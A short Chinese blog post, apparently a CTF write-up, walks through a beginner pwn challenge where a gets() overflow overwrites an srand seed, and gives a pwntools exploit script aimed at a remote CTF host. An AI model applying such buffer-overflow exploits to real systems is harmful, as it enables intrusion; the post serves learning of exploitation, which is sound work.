其实做pwn题是有一段时间了 但是因为复习以及学习驱动 所以没有什么时间写博客 然后这一次写一个pwn的题
这个题 还是很简单的
先用ida 看一下 发现了 我们这个题 有明显的利用漏洞 gets 然后 我们发现了 有srand 是要确定随机种子 那么 如果 我们 把这个种子 给覆盖掉 那么我们就可以 算出随机数 直接 得到flag
在 调试下 发现了
然后输入了 33个 1 发现种子(地址是00007FFC1A24E230)
成功被覆盖成1 那么就很好说了
我们直接 32*a +自己想要的种子 就可以了
写出 exp
#coding=utf-8
from pwn import*
from ctypes import*
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#io=process('/home/pipixia/桌面/level2' )
io=remote('111.198.29.45','32393')
p='a'*0x20+p64(0)
io.sendlineafter("name:",p)
libc.srand(0)
for i in range(10):
io.sendlineafter("number:",str(libc.rand()%6+1))
print io.recv()
print io.recv()
然后我一直不知道怎么用python来写rand 现在知道了 还要调用外部的库。。。。